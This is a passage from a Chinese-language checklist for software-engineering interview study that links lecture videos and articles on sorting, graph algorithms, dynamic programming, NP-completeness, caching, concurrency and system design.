关于堆排序，请查看前文堆的数据结构部分。堆排序很强大，不过是非稳定排序。\n\n- [ ] [冒泡排序 (video)](https://www.youtube.com/watch?v=P00xJgWzz2c&index=1&list=PL89B61F78B552C1AB)\n- [ ] [冒泡排序分析 (video)](https://www.youtube.com/watch?v=ni_zk257Nqo&index=7&list=PL89B61F78B552C1AB)\n- [ ] [插入排序 & 归并排序 (video)](https://www.youtube.com/watch?v=Kg4bqzAqRBM&index=3&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb)\n- [ ] [插入排序 (video)](https://www.youtube.com/watch?v=c4BRHC7kTaQ&index=2&list=PL89B61F78B552C1AB)\n- [ ] [归并排序 (video)](https://www.youtube.com/watch?v=GCae1WNvnZM&index=3&list=PL89B61F78B552C1AB)\n- [ ] [快排 (video)](https://www.youtube.com/watch?v=y_G9BkAm6B8&index=4&list=PL89B61F78B552C1AB)\n- [ ] [选择排序 (video)](https://www.youtube.com/watch?v=6nDMgr0-Yyo&index=8&list=PL89B61F78B552C1AB)\n\n- [ ] 斯坦福大学关于排序算法的视频:\n    - [ ] [课程 15 | 编程抽象 (video)](https://www.youtube.com/watch?v=ENp00xylP7c&index=15&list=PLFE6E58F856038C69)\n    - [ ] [课程 16 | 编程抽象 (video)](https://www.youtube.com/watch?v=y4M9IVgrVKo&index=16&list=PLFE6E58F856038C69)\n\n- [ ] Shai Simonson 视频, [Aduni.org](http://www.aduni.org/):\n    - [ ] [算法 - 排序 - 第二讲 (video)](https://www.youtube.com/watch?v=odNJmw5TOEE&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=2)\n    - [ ] [算法 - 排序2 - 第三讲 (video)](https://www.youtube.com/watch?v=hj8YKFTFKEE&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=3)\n\n- [ ] Steven Skiena 关于排序的视频:\n    - [ ] [课程从 26:46 开始 (video)](https://youtu.be/ute-pmMkyuk?list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&t=1600)\n    - [ ] [课程从 27:40 开始 (video)](https://www.youtube.com/watch?v=yLvp-pB8mak&index=8&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b)\n    - [ ] [课程从 35:00 开始 (video)](https://www.youtube.com/watch?v=q7K9otnzlfE&index=9&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b)\n    - [ ] [课程从 23:50 开始 (video)](https://www.youtube.com/watch?v=TvqIGu9Iupw&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=10)\n\n- [ ] 加州大学伯克利分校（UC Berkeley） 大学课程:\n    - [ ] [CS 61B 课程 29: 排序 I (video)](https://www.youtube.com/watch?v=EiUvYS2DT6I&list=PL4BBB74C7D2A1049C&index=29)\n    - [ ] [CS 61B 课程 30: 排序 II (video)](https://www.youtube.com/watch?v=2hTY3t80Qsk&list=PL4BBB74C7D2A1049C&index=30)\n    - [ ] [CS 61B 课程 32: 排序 III (video)](https://www.youtube.com/watch?v=Y6LOLpxg6Dc&index=32&list=PL4BBB74C7D2A1049C)\n    - [ ] [CS 61B 课程 33: 排序 V (video)](https://www.youtube.com/watch?v=qNMQ4ly43p4&index=33&list=PL4BBB74C7D2A1049C)\n\n- [ ] - 归并排序:\n    - [ ] [使用外部数组](http://www.cs.yale.edu/homes/aspnes/classes/223/examples/sorting/mergesort.c)\n    - [ ] [对原数组直接排序](https://github.com/jwasham/practice-cpp/blob/master/merge_sort/merge_sort.cc)\n- [ ] - 快速排序:\n    - [ ] [实现](http://www.cs.yale.edu/homes/aspnes/classes/223/examples/randomization/quick.c)\n    - [ ] [实现](https://github.com/jwasham/practice-c/blob/master/quick_sort/quick_sort.c)\n\n- [ ] 实现:\n    - [ ] 归并：平均和最差情况的时间复杂度为 O(n log n)。\n    - [ ] 快排：平均时间复杂度为 O(n log n)。\n    - 选择排序和插入排序的最坏、平均时间复杂度都是 O(n^2)。\n    - 关于堆排序，请查看前文堆的数据结构部分。\n\n- [ ] 有兴趣的话，还有一些补充 - 但并不是必须的:\n    - [ ] [基数排序](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#radixSort)\n    - [ ] [基数排序 (video)](https://www.youtube.com/watch?v=xhr26ia4k38)\n    - [ ] [基数排序, 计数排序 (线性时间内) (video)](https://www.youtube.com/watch?v=Nz1KZXbghj8&index=7&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb)\n    - [ ] [随机算法: 矩阵相乘, 快排, Freivalds' 算法 (video)](https://www.youtube.com/watch?v=cNB2lADK3_s&index=8&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n    - [ ] [线性时间内的排序 (video)](https://www.youtube.com/watch?v=pOKy3RZbSws&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf&index=14)\n\n## 图（Graphs）\n\n图论能解决计算机科学里的很多问题，所以这一节会比较长，像树和排序的部分一样。\n\n- Yegge 的笔记:\n    - 有 3 种基本方式在内存里表示一个图:\n        - 对象和指针\n        - 矩阵\n        - 邻接表\n    - 熟悉以上每一种图的表示法，并了解各自的优缺点\n    - 宽度优先搜索和深度优先搜索 - 知道它们的计算复杂度和设计上的权衡以及如何用代码实现它们\n    - 遇到一个问题时，首先尝试基于图的解决方案，如果没有再去尝试其他的。\n\n- [ ] Skiena 教授的课程 - 很不错的介绍:\n    - [ ] [CSE373 2012 - 课程 11 - 图的数据结构 (video)](https://www.youtube.com/watch?v=OiXxhDrFruw&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=11)\n    - [ ] [CSE373 2012 - 课程 12 - 广度优先搜索 (video)](https://www.youtube.com/watch?v=g5vF8jscteo&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=12)\n    - [ ] [CSE373 2012 - 课程 13 - 图的算法 (video)](https://www.youtube.com/watch?v=S23W6eTcqdY&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=13)\n    - [ ] [CSE373 2012 - 课程 14 - 图的算法 (1) (video)](https://www.youtube.com/watch?v=WitPBKGV0HY&index=14&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b)\n    - [ ] [CSE373 2012 - 课程 15 - 图的算法 (2) (video)](https://www.youtube.com/watch?v=ia1L30l7OIg&index=15&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b)\n    - [ ] [CSE373 2012 - 课程 16 - 图的算法 (3) (video)](https://www.youtube.com/watch?v=jgDOQq6iWy8&index=16&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b)\n\n- [ ] 图 (复习和其他):\n\n    - [ ] [6.006 单源最短路径问题 (video)](https://www.youtube.com/watch?v=Aa2sqUhIn-E&index=15&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb)\n    - [ ] [6.006 Dijkstra 算法 (video)](https://www.youtube.com/watch?v=2E7MmKv0Y24&index=16&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb)\n    - [ ] [6.006 Bellman-Ford 算法(video)](https://www.youtube.com/watch?v=ozsuci5pIso&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=17)\n    - [ ] [6.006 Dijkstra 效率优化 (video)](https://www.youtube.com/watch?v=CHvQ3q_gJ7E&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=18)\n    - [ ] [Aduni: 图的算法 I - 拓扑排序, 最小生成树, Prim 算法 -  第六课 (video)]( https://www.youtube.com/watch?v=i_AQT_XfvD8&index=6&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm)\n    - [ ] [Aduni: 图的算法 II - 深度优先搜索, 广度优先搜索, Kruskal 算法, 并查集数据结构 - 第七课 (video)]( https://www.youtube.com/watch?v=ufj5_bppBsA&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=7)\n    - [ ] [Aduni: 图的算法 III: 最短路径 - 第八课 (video)](https://www.youtube.com/watch?v=DiedsPsMKXc&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=8)\n    - [ ] [Aduni: 图的算法. IV: 几何算法介绍 - 第九课 (video)](https://www.youtube.com/watch?v=XIAQRlNkJAw&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=9)\n    - [ ] [CS 61B 2014 (从 58:09 开始) (video)](https://youtu.be/dgjX4HdMI-Q?list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd&t=3489)\n    - [ ] [CS 61B 2014: 加权图 (video)](https://www.youtube.com/watch?v=aJjlQCFwylA&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd&index=19)\n    - [ ] [贪心算法: 最小生成树 (video)](https://www.youtube.com/watch?v=tKwnms5iRBU&index=16&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n    - [ ] [图的算法之强连通分量 Kosaraju 算法 (video)](https://www.youtube.com/watch?v=RpgcYiky7uw)\n\n- 完整的 Coursera 课程:\n    - [ ] [图的算法 (video)](https://www.coursera.org/learn/algorithms-on-graphs/home/welcome)\n\n- Yegge: 如果有机会，可以试试研究更酷炫的算法:\n    - [ ] Dijkstra 算法 - 上文 - 6.006\n    - [ ] A* 算法\n        - [ ] [A* 算法](https://en.wikipedia.org/wiki/A*_search_algorithm)\n        - [ ] [A* 寻路教程 (video)](https://www.youtube.com/watch?v=KNXfSOx4eEE)\n        - [ ] [A* 寻路 (E01: 算法解释) (video)](https://www.youtube.com/watch?v=-L-WgKMFuhE)\n\n- 我会实现:\n    - [ ] DFS 邻接表 (递归)\n    - [ ] DFS 邻接表 (栈迭代)\n    - [ ] DFS 邻接矩阵 (递归)\n    - [ ] DFS 邻接矩阵 (栈迭代)\n    - [ ] BFS 邻接表\n    - [ ] BFS 邻接矩阵\n    - [ ] 单源最短路径问题 (Dijkstra)\n    - [ ] 最小生成树\n    - 基于 DFS 的算法 (根据上文 Aduni 的视频):\n        - [ ] 检查环 (我们会先检查是否有环存在以便做拓扑排序)\n        - [ ] 拓扑排序\n        - [ ] 计算图中的连通分支\n        - [ ] 列出强连通分量\n        - [ ] 检查双向图\n\n可以从 Skiena 的书（参考下面的书推荐小节）和面试书籍中学习更多关于图的实践。\n\n## 更多知识\n\n- ### 递归（Recursion）\n    - [ ] Stanford 大学关于递归 & 回溯的课程:\n        - [ ] [课程 8 | 抽象编程 (video)](https://www.youtube.com/watch?v=gl3emqCuueQ&list=PLFE6E58F856038C69&index=8)\n        - [ ] [课程 9 | 抽象编程 (video)](https://www.youtube.com/watch?v=uFJhEPrbycQ&list=PLFE6E58F856038C69&index=9)\n        - [ ] [课程 10 | 抽象编程 (video)](https://www.youtube.com/watch?v=NdF1QDTRkck&index=10&list=PLFE6E58F856038C69)\n        - [ ] [课程 11 | 抽象编程 (video)](https://www.youtube.com/watch?v=p-gpaIGRCQI&list=PLFE6E58F856038C69&index=11)\n    - 什么时候适合使用\n    - 尾递归会更好么?\n        - [ ] [什么是尾递归以及为什么它如此糟糕?](https://www.quora.com/What-is-tail-recursion-Why-is-it-so-bad)\n        - [ ] [尾递归 (video)](https://www.youtube.com/watch?v=L1jjXGfxozc)\n\n- ### 动态规划（Dynamic Programming）\n    - This subject can be pretty difficult, as each DP soluble problem must be defined as a recursion relation, and coming up with it can be tricky.\n    - 这一部分会有点困难，每个可以用动态规划解决的问题都必须先定义出递推关系，要推导出来可能会有点棘手。\n    - 我建议先阅读和学习足够多的动态规划的例子，以便对解决 DP 问题的一般模式有个扎实的理解。\n\n    - [ ] 视频:\n        - Skiena 的视频可能会有点难跟上，有时候他用白板写的字会比较小，难看清楚。\n        - [ ] [Skiena: CSE373 2012 - 课程 19 - 动态规划介绍 (video)](https://youtu.be/Qc2ieXRgR0k?list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&t=1718)\n        - [ ] [Skiena: CSE373 2012 - 课程 20 - 编辑距离 (video)](https://youtu.be/IsmMhMdyeGY?list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&t=2749)\n        - [ ] [Skiena: CSE373 2012 - 课程 21 - 动态规划举例 (video)](https://youtu.be/o0V9eYF4UI8?list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&t=406)\n        - [ ] [Skiena: CSE373 2012 - 课程 22 - 动态规划应用 (video)](https://www.youtube.com/watch?v=dRbMC1Ltl3A&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=22)\n        - [ ] [Simonson: 动态规划 0 (starts at 59:18) (video)](https://youtu.be/J5aJEcOr6Eo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3558)\n        - [ ] [Simonson: 动态规划 I - 课程 11 (video)](https://www.youtube.com/watch?v=0EzHjQ_SOeU&index=11&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm)\n        - [ ] [Simonson: 动态规划 II - 课程 12 (video)](https://www.youtube.com/watch?v=v1qiRwuJU7g&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=12)\n        - [ ] 单独的 DP 问题 (每一个视频都很短):\n            [动态规划 (video)](https://www.youtube.com/playlist?list=PLrmLmBdmIlpsHaNTPP_jHHDx_os9ItYXr)\n    - [ ] Yale 课程笔记:\n        - [ ] [动态规划](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#dynamicProgramming)\n    - [ ] Coursera 课程:\n        - [ ] [RNA 二级结构问题 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/80RrW/the-rna-secondary-structure-problem)\n        - [ ] [动态规划算法 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/PSonq/a-dynamic-programming-algorithm)\n        - [ ] [DP 算法描述 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/oUEK2/illustrating-the-dp-algorithm)\n        - [ ] [DP 算法的运行时间 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/nfK2r/running-time-of-the-dp-algorithm)\n        - [ ] [DP vs 递归实现 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/M999a/dp-vs-recursive-implementation)\n        - [ ] [全局成对序列排列 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/UZ7o6/global-pairwise-sequence-alignment)\n        - [ ] [本地成对序列排列 (video)](https://www.coursera.org/learn/algorithmic-thinking-2/lecture/WnNau/local-pairwise-sequence-alignment)\n\n- ### 组合（Combinatorics） (n 中选 k 个) & 概率（Probability）\n    - [ ] [数据技巧: 如何找出阶乘、排列和组合(选择) (video)](https://www.youtube.com/watch?v=8RRo6Ti9d0U)\n    - [ ] [来点学校的东西: 概率 (video)](https://www.youtube.com/watch?v=sZkAAk9Wwa4)\n    - [ ] [来点学校的东西: 概率和马尔可夫链 (video)](https://www.youtube.com/watch?v=dNaJg-mLobQ)\n    - [ ] 可汗学院:\n        - 课程设置:\n            - [ ] [概率理论基础](https://www.khanacademy.org/math/probability/probability-and-combinatorics-topic)\n        - 视频 - 41 (每一个都短小精悍):\n            - [ ] [概率解释 (video)](https://www.youtube.com/watch?v=uzkc-qNVoOk&list=PLC58778F28211FA19)\n\n- ### NP, NP-完全和近似算法\n    - 知道最经典的一些 NP 完全问题，比如旅行商问题和背包问题,\n        而且能在面试官试图忽悠你的时候识别出他们。\n    - 知道 NP 完全是什么意思.\n    - [ ] [计算复杂度 (video)](https://www.youtube.com/watch?v=moPtwq_cVH8&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=23)\n    - [ ] Simonson:\n        - [ ] [贪心算法. II & 介绍 NP-完全性 (video)](https://youtu.be/qcGnJ47Smlo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=2939)\n        - [ ] [NP-完全性 II & 归约 (video)](https://www.youtube.com/watch?v=e0tGC6ZQdQE&index=16&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm)\n        - [ ] [NP-完全性 III (Video)](https://www.youtube.com/watch?v=fCX1BGT3wjE&index=17&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm)\n        - [ ] [NP-完全性 IV (video)](https://www.youtube.com/watch?v=NKLDp3Rch3M&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=18)\n    - [ ] Skiena:\n        - [ ] [CSE373 2012 - 课程 23 - 介绍 NP-完全性 IV (video)](https://youtu.be/KiK5TVgXbFg?list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&t=1508)\n        - [ ] [CSE373 2012 - 课程 24 - NP-完全性证明 (video)](https://www.youtube.com/watch?v=27Al52X3hd4&index=24&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b)\n        - [ ] [CSE373 2012 - 课程 25 - NP-完全性挑战 (video)](https://www.youtube.com/watch?v=xCPH4gwIIXM&index=25&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b)\n    - [ ] [复杂度: P, NP, NP-完全性, 规约 (video)](https://www.youtube.com/watch?v=eHZifpgyH_4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=22)\n    - [ ] [复杂度: 近视算法 Algorithms (video)](https://www.youtube.com/watch?v=MEz1J9wY2iM&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=24)\n    - [ ] [复杂度: 固定参数算法 (video)](https://www.youtube.com/watch?v=4q-jmGrmxKs&index=25&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n    - Peter Norvik 讨论旅行商问题的近似最优解:\n        - [Jupyter 笔记本](http://nbviewer.jupyter.org/url/norvig.com/ipython/TSP.ipynb)\n    - 《算法导论》的第 1048 - 1140 页。\n\n- ### 缓存（Cache）\n    - [ ] LRU 缓存:\n        - [ ] [LRU 的魔力 (100 Days of Google Dev) (video)](https://www.youtube.com/watch?v=R5ON3iwx78M)\n        - [ ] [实现 LRU (video)](https://www.youtube.com/watch?v=bq6N7Ym81iI)\n        - [ ] [LeetCode - 146 LRU Cache (C++) (video)](https://www.youtube.com/watch?v=8-FZRAjR7qU)\n    - [ ] CPU 缓存:\n        - [ ] [MIT 6.004 L15: 存储体系 (video)](https://www.youtube.com/watch?v=vjYF_fAZI5E&list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-&index=24)\n        - [ ] [MIT 6.004 L16: 缓存的问题 (video)](https://www.youtube.com/watch?v=ajgC3-pyGlk&index=25&list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-)\n\n- ### 进程（Processe）和线程（Thread）\n    - [ ] 计算机科学 162 - 操作系统 (25 个视频):\n        - 视频 1-11 是关于进程和线程\n        - [操作系统和系统编程 (video)](https://www.youtube.com/playlist?list=PL-XXv-cvA_iBDyz-ba4yDskqMDY6A1w_c)\n    - [进程和线程的区别是什么?](https://www.quora.com/What-is-the-difference-between-a-process-and-a-thread)\n    - 涵盖了:\n        - 进程、线程、协程\n            - 进程和线程的区别\n            - 进程\n            - 线程\n            - 锁\n            - 互斥\n            - 信号量\n            - 监控\n            - 他们是如何工作的\n            - 死锁\n            - 活锁\n        - CPU 活动, 中断, 上下文切换\n        - 现代多核处理器的并发式结构\n        - 进程资源需要（内存：代码、静态存储器、栈、堆、文件描述符、I/O）\n        - 线程资源需要（在同一个进程内和其他线程共享以上的资源，但是每个线程都有独立的程序计数器、栈计数器、寄存器和栈）\n        - Fork 操作是真正的写时复制（只读），直到新的进程写到内存中，才会生成一份新的拷贝。\n        - 上下文切换\n            - 操作系统和底层硬件是如何初始化上下文切换的。\n    - [ ] [C++ 的线程 (系列 - 10 个视频)](https://www.youtube.com/playlist?list=PL5jc9xFGsL8E12so1wlMS0r0hTQoJL74M)\n    - [ ] Python 的协程 (视频):\n        - [ ] [线程系列](https://www.youtube.com/playlist?list=PL1H1sBF1VAKVMONJWJkmUh6_p8g4F2oy1)\n        - [ ] [Python 线程](https://www.youtube.com/watch?v=Bs7vPNbB9JM)\n        - [ ] [理解 Python 的 GIL (2010)](https://www.youtube.com/watch?v=Obt-vMVdM8s)\n            - [参考](http://www.dabeaz.com/GIL)\n        - [ ] [David Beazley - Python 协程 - PyCon 2015](https://www.youtube.com/watch?v=MCs5OvhV9S4)\n        - [ ] [Keynote David Beazley - 兴趣主题 (Python 异步 I/O)](https://www.youtube.com/watch?v=ZzfHjytDceU)\n        - [ ] [Python 中的互斥](https://www.youtube.com/watch?v=0zaPs8OtyKY)\n\n\n    系统设计以及可伸缩性，要把软硬件的伸缩性设计的足够好有很多的东西要考虑，所以这是个包含非常多内容和资源的大主题。需要花费相当多的时间在这个主题上。\n\n- ### 系统设计、可伸缩性、数据处理\n    - Yegge 的注意事项:\n        - 伸缩性\n            - 把大数据集提取为单一值\n            - 大数据集转换\n            - 处理大量的数据集\n        - 系统\n            - 特征集\n            - 接口\n            - 类层次结构\n            - 在特定的约束下设计系统\n            - 轻量和健壮性\n            - 权衡和折衷\n            - 性能分析和优化\n    - [ ] **从这里开始**: [HiredInTech：系统设计](http://www.hiredintech.com/system-design/)\n    - [ ] [该如何为技术面试里设计方面的问题做准备?](https://www.quora.com/How-do-I-prepare-to-answer-design-questions-in-a-technical-interview?redirected_qid=1500023)\n    - [ ] [在系统设计面试前必须知道的 8 件事](http://blog.gainlo.co/index.php/2015/10/22/8-things-you-need-to-know-before-system-design-interviews/)\n    - [ ] [算法设计](http://www.hiredintech.com/algorithm-design/)\n    - [ ] [数据库范式 - 1NF, 2NF, 3NF and 4NF (video)](https://www.youtube.com/watch?v=UrYLYV7WSHM)\n    - [ ] [系统设计面试](https://github.com/checkcheckzz/system-design-interview) - 这一部分有很多的资源，浏览一下我放在下面的文章和例子。\n    - [ ] [如何在系统设计面试中脱颖而出](http://www.palantir.com/2011/10/how-to-rock-a-systems-design-interview/)\n    - [ ] [每个人都该知道的一些数字](http://everythingisdata.wordpress.com/2009/10/17/numbers-everyone-should-know/)\n    - [ ] [上下文切换操作会耗费多少时间?](http://blog.tsunanet.net/2010/11/how-long-does-it-take-to-make-context.html)\n    - [ ] [跨数据中心的事务 (video)](https://www.youtube.com/watch?v=srOgpXECblk)\n    - [ ] [简明 CAP 理论介绍](http://ksat.me/a-plain-english-introduction-to-cap-theorem/)\n    - [ ] Paxos 一致性算法:\n        - [时间很短](https://www.youtube.com/watch?v=s8JqcZtvnsM)\n        - [用例 和 multi-paxos](https://www.youtube.com/watch?v=JEpsBg0AO6o)\n        - [论文](http://research.microsoft.com/en-us/um/people/lamport/pubs/paxos-simple.pdf)\n    - [ ] [一致性哈希](http://www.tom-e-white.com/2007/11/consistent-hashing.html)\n    - [ ] [NoSQL 模式](http://horicky.blogspot.com/2009/11/nosql-patterns.html)\n    - [ ] [OOSE: UML 2.0 系列 (video)](https://www.youtube.com/watch?v=OkC7HKtiZC0&list=PLGLfVvz_LVvQ5G-LdJ8RLqe-ndo7QITYc)\n    - [ ] OOSE: 使用 UML 和 Java 开发软件 (21 videos):\n        - 如果你对 OO 都深刻的理解和实践，可以跳过这部分。\n        - [OOSE: 使用 UML 和 Java 开发软件](https://www.youtube.com/playlist?list=PLJ9pm_Rc9HesnkwKlal_buSIHA-jTZMpO)\n    - [ ] 面向对象编程的 SOLID 原则:\n        - [ ] [Bob Martin 面向对象的 SOLID 原则和敏捷设计 (video)](https://www.youtube.com/watch?v=TMuno5RZNeE)\n        - [ ] [C# SOLID 设计模式 (video)](https://www.youtube.com/playlist?list=PL8m4NUhTQU48oiGCSgCP1FiJEcg_xJzyQ)\n        - [ ] [SOLID 原则 (video)](https://www.youtube.com/playlist?list=PL4CE9F710017EA77A)\n        - [ ] S - [单一职责原则](http://www.oodesign.com/single-responsibility-principle.html) | [每个对象的单一职责](http://www.javacodegeeks.com/2011/11/solid-single-responsibility-principle.html)\n            - [更多](https://docs.google.com/open?id=0ByOwmqah_nuGNHEtcU5OekdDMkk)\n        - [ ] O - [开闭原则](http://www.oodesign.com/open-close-principle.html)  | [生产环境里的对象应该为扩展做准备而不是为更改](https://en.wikipedia.org/wiki/Open/closed_principle)\n            - [更多](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgN2M5MTkwM2EtNWFkZC00ZTI3LWFjZTUtNTFhZGZiYmUzODc1&hl=en)\n        - [ ] L - [里氏代换原则](http://www.oodesign.com/liskov-s-substitution-principle.html) | [基类和继承类遵循 ‘IS A’ 原则](http://stackoverflow.com/questions/56860/what-is-the-liskov-substitution-principle)\n            - [更多](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgNzAzZjA5ZmItNjU3NS00MzQ5LTkwYjMtMDJhNDU5ZTM0MTlh&hl=en)\n        - [ ] I - [接口隔离原则](http://www.oodesign.com/interface-segregation-principle.html) | 客户端被迫实现用不到的接口\n            - [5 分钟讲解接口隔离原则 (video)](https://www.youtube.com/watch?v=3CtAfl7aXAQ)\n            - [更多](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgOTViYjJhYzMtMzYxMC00MzFjLWJjMzYtOGJiMDc5N2JkYmJi&hl=en)\n        - [ ] D -[依赖反转原则](http://www.oodesign.com/dependency-inversion-principle.html) | 减少对象里的依赖。\n            - [什么是依赖倒置以及它为什么重要](http://stackoverflow.com/questions/62539/what-is-the-dependency-inversion-principle-and-why-is-it-important)\n            - [更多](http://docs.google.com/a/cleancoder.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BwhCYaYDn8EgMjdlMWIzNGUtZTQ0NC00ZjQ5LTkwYzQtZjRhMDRlNTQ3ZGMz&hl=en)\n    - [ ] 可伸缩性:\n        - [ ] [很棒的概述 (video)](https://www.youtube.com/watch?v=-W9F__D3oY4)\n        - [ ] 简短系列:\n            - [克隆](http://www.lecloud.net/post/7295452622/scalability-for-dummies-part-1-clones)\n            - [数据库](http://www.lecloud.net/post/7994751381/scalability-for-dummies-part-2-database)\n            - [缓存](http://www.lecloud.net/post/9246290032/scalability-for-dummies-part-3-cache)\n            - [异步](http://www.lecloud.net/post/9699762917/scalability-for-dummies-part-4-asynchronism)\n        - [ ] [可伸缩的 Web 架构和分布式系统](http://www.aosabook.org/en/distsys.html)\n        - [ ] [错误的分布式系统解释](https://pages.cs.wisc.edu/~zuyu/files/fallacies.pdf)\n        - [ ] [实用编程技术](http://horicky.blogspot.com/2010/10/scalable-system-design-patterns.html)\n            - [extra: Google Pregel 图形处理](http://horicky.blogspot.com/2010/07/google-pregel-graph-processing.html)\n        - [ ] [Jeff Dean - 在 Goolge 构建软件系统 (video)](https://www.youtube.com/watch?v=modXC5IWTJI)\n        - [ ] [可伸缩系统架构设计介绍](http://lethain.com/introduction-to-architecting-systems-for-scale/)\n        - [ ] [使用 App Engine 和云存储扩展面向全球用户的手机游戏架构实践(video)](https://www.youtube.com/watch?v=9nWyWwY2Onc)\n        - [ ] [How Google Does Planet-Scale Engineering for Planet-Scale Infra (video)](https://www.youtube.com/watch?v=H4vMcD7zKM0)\n        - [ ] [算法的重要性](https://www.topcoder.com/community/data-science/data-science-tutorials/the-importance-of-algorithms/)\n        - [ ] [分片](http://highscalability.com/blog/2009/8/6/an-unorthodox-approach-to-database-design-the-coming-of-the.html)\n        - [ ] [Facebook 系统规模扩展实践 (2009)](https://www.infoq.com/presentations/Scale-at-Facebook)\n        - [ ] [Facebook 系统规模扩展实践 (2012), \"为 10 亿用户构建\" (video)](https://www.youtube.com/watch?v=oodS71YtkGU)\n        - [ ] [Long Game 工程实践 - Astrid Atkinson Keynote(video)](https://www.youtube.com/watch?v=p0jGmgIrf_M&list=PLRXxvay_m8gqVlExPC5DG3TGWJTaBgqSA&index=4)\n        - [ ] [30 分钟看完 YouTuBe 7 年系统扩展经验](http://highscalability.com/blog/2012/3/26/7-years-of-youtube-scalability-lessons-in-30-minutes.html)\n            - [video](https://www.youtube.com/watch?v=G-lGCC4KKok)\n        - [ ] [PayPal 如何用 8 台虚拟机扛住 10 亿日交易量系统](http://highscalability.com/blog/2016/8/15/how-paypal-scaled-to-billions-of-transactions-daily-using-ju.html)\n        - [ ] [如何对大数据集去重](https://blog.clevertap.com/how-to-remove-duplicates-in-large-datasets/)\n        - [ ] [Etsy 的扩展和工程文化探究 Jon Cowie (video)](https://www.youtube.com/watch?v=3vV4YiqKm1o)\n        - [ ] [是什么造就了 Amazon 自己的微服务架构](http://thenewstack.io/led-amazon-microservices-architecture/)\n        - [ ] [压缩还是不压缩，是 Uber 面临的问题](https://eng.uber.com/trip-data-squeeze/)\n        - [ ] [异步 I/O Tarantool 队列](http://highscalability.com/blog/2016/3/3/asyncio-tarantool-queue-get-in-the-queue.html)\n        - [ ] [什么时候应该用近视查询处理?](http://highscalability.com/blog/2016/2/25/when-should-approximate-query-processing-be-used.html)\n        - [ ] [Google 从单数据中心到故障转移, 到本地多宿主架构的演变]( http://highscalability.com/blog/2016/2/23/googles-transition-from-single-datacenter-to-failover-to-a-n.html)\n        - [ ] [Spanner](http://highscalability.com/blog/2012/9/24/google-spanners-most-surprising-revelation-nosql-is-out-and.html)\n        - [ ] [Egnyte: 构建和扩展 PB 级分布式系统架构的经验教训](http://highscalability.com/blog/2016/2/15/egnyte-architecture-lessons-learned-in-building-and-scaling.html)\n        - [ ] [机器学习驱动的编程: 新世界的新编程方式](http://highscalability.com/blog/2016/7/6/machine-learning-driven-programming-a-new-programming-for-a.html)\n        - [ ] [日服务数百万请求的图像优化技术](http://highscalability.com/blog/2016/6/15/the-image-optimization-technology-that-serves-millions-of-re.html)\n        - [ ] [Patreon 架构](http://highscalability.com/blog/2016/2/1/a-patreon-architecture-short.html)\n        - [ ] [Tinder: 